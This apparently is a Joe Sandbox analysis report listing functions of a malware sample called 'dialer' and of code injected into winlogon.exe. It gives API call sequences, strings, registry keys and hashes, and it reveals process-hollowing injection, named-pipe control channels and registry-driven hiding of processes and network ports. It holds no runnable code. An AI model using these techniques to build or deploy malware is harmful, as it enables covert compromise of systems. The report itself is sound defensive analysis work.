Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNELBASE ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNELBASE ref: 0000000140002C91

Strings

M, xrefs: 0000000140002C6E
\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
SleepEx.KERNELBASE ref: 0000000140002BEE

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

dialerstager, xrefs: 0000000140002694
open, xrefs: 0000000140002960
SOFTWARE, xrefs: 0000000140002675

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: ae79544a1ca264f77e0040c582fad8c70a14f3da5095032f2fa0f831f935a8fc
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 0000001C.00000002.3030294425.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000001C.00000002.3029886746.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3030819862.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000001C.00000002.3031251085.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 556, Parent PID: 4620COMMON

Execution Graph

Execution Coverage:	1.4%
Dynamic/Decrypted Code Coverage:	95.2%
Signature Coverage:	0%
Total number of Nodes:	124
Total number of Limit Nodes:	16

Executed Functions

Function 000002E991751628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002E991751633
HeapAlloc.KERNEL32 ref: 000002E991751642

Part of subcall function 000002E991751268: GetProcessHeap.KERNEL32 ref: 000002E99175126E
Part of subcall function 000002E991751268: HeapAlloc.KERNEL32 ref: 000002E99175127D
Part of subcall function 000002E991751268: GetProcessHeap.KERNEL32 ref: 000002E991751297
Part of subcall function 000002E991751268: HeapAlloc.KERNEL32 ref: 000002E9917512A8

RegOpenKeyExW.ADVAPI32 ref: 000002E9917516B2
RegOpenKeyExW.ADVAPI32 ref: 000002E9917516DF
RegCloseKey.ADVAPI32 ref: 000002E9917516F9
RegOpenKeyExW.ADVAPI32 ref: 000002E991751719
RegCloseKey.ADVAPI32 ref: 000002E991751734
RegOpenKeyExW.ADVAPI32 ref: 000002E991751754
RegCloseKey.ADVAPI32 ref: 000002E99175176F
RegOpenKeyExW.ADVAPI32 ref: 000002E99175178F
RegCloseKey.ADVAPI32 ref: 000002E9917517AA
RegOpenKeyExW.ADVAPI32 ref: 000002E9917517CA
RegCloseKey.ADVAPI32 ref: 000002E9917517E5
RegOpenKeyExW.ADVAPI32 ref: 000002E991751805
RegCloseKey.ADVAPI32 ref: 000002E991751820
RegOpenKeyExW.ADVAPI32 ref: 000002E991751840
RegCloseKey.ADVAPI32 ref: 000002E99175185B
RegOpenKeyExW.ADVAPI32 ref: 000002E99175187B
RegCloseKey.ADVAPI32 ref: 000002E991751896
RegCloseKey.ADVAPI32 ref: 000002E9917518A0

Part of subcall function 000002E9917512BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002E991751319
Part of subcall function 000002E9917512BC: GetProcessHeap.KERNEL32 ref: 000002E991751327
Part of subcall function 000002E9917512BC: HeapAlloc.KERNEL32 ref: 000002E991751338
Part of subcall function 000002E9917512BC: RegEnumValueW.ADVAPI32 ref: 000002E991751397
Part of subcall function 000002E9917512BC: GetProcessHeap.KERNEL32 ref: 000002E9917513DF
Part of subcall function 000002E9917512BC: HeapAlloc.KERNEL32 ref: 000002E9917513ED
Part of subcall function 000002E9917512BC: GetProcessHeap.KERNEL32 ref: 000002E99175140A
Part of subcall function 000002E9917512BC: HeapFree.KERNEL32 ref: 000002E991751418
Part of subcall function 000002E9917512BC: lstrlenW.KERNEL32 ref: 000002E991751421
Part of subcall function 000002E9917512BC: GetProcessHeap.KERNEL32 ref: 000002E99175142F
Part of subcall function 000002E9917512BC: HeapAlloc.KERNEL32 ref: 000002E99175143D

Strings

SOFTWARE\dialerconfig, xrefs: 000002E991751692
startup, xrefs: 000002E9917516D5
tcp_remote, xrefs: 000002E991751839
tcp_local, xrefs: 000002E9917517FE
paths, xrefs: 000002E991751788
service_names, xrefs: 000002E9917517C3
pid, xrefs: 000002E991751712
process_names, xrefs: 000002E99175174D
udp, xrefs: 000002E991751874

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 54b8228711d56d83d96e028295ec185cd7547312acf9b7e7a1458d33eaddbd6f
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: A0713036354B9285EB10AF67E858A5D3374F784BC9F82112AED4E87B6ADF34C484CB50

Function 000002E991753790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002E99175379E
GetCurrentProcess.KERNEL32 ref: 000002E9917537CC
VirtualProtectEx.KERNEL32 ref: 000002E9917537EE
GetCurrentProcess.KERNEL32 ref: 000002E991753809
VirtualProtectEx.KERNEL32 ref: 000002E99175382A

Strings

wr, xrefs: 000002E9917537FF

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 889b996a8caf1a720874174e44a79219beab5574743a7c3e537098b2f91f301b
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 85115E2674478682EF189B12E40866962B0F748BC5F86042EEE8947766EF3DC585CB24

Function 000002E991755B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002E991755B6B
GetThreadContext.KERNEL32 ref: 000002E991755CD5

Part of subcall function 000002E991755960: GetCurrentThreadId.KERNEL32 ref: 000002E991755964

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: 1cfaaca5a2e5f2dbf610dce76985e3aebf4ce61cea1ed6e8382bb37d242726a6
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 25D19C76244B8982DA70DB06E49835A77B0F388B84F52411BEACD47BA6DF3CC591CF50

Function 000002E9917550D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002E991755156

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: eebe92032a7fdedf781faa804f7575b613c740f96bbb6c7e2e6b86a645c85fbc
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: E802BA32259BC586E7A0CB56F49435ABBA1F3C4794F11401AEA8E87BA9DF7CC494CF10

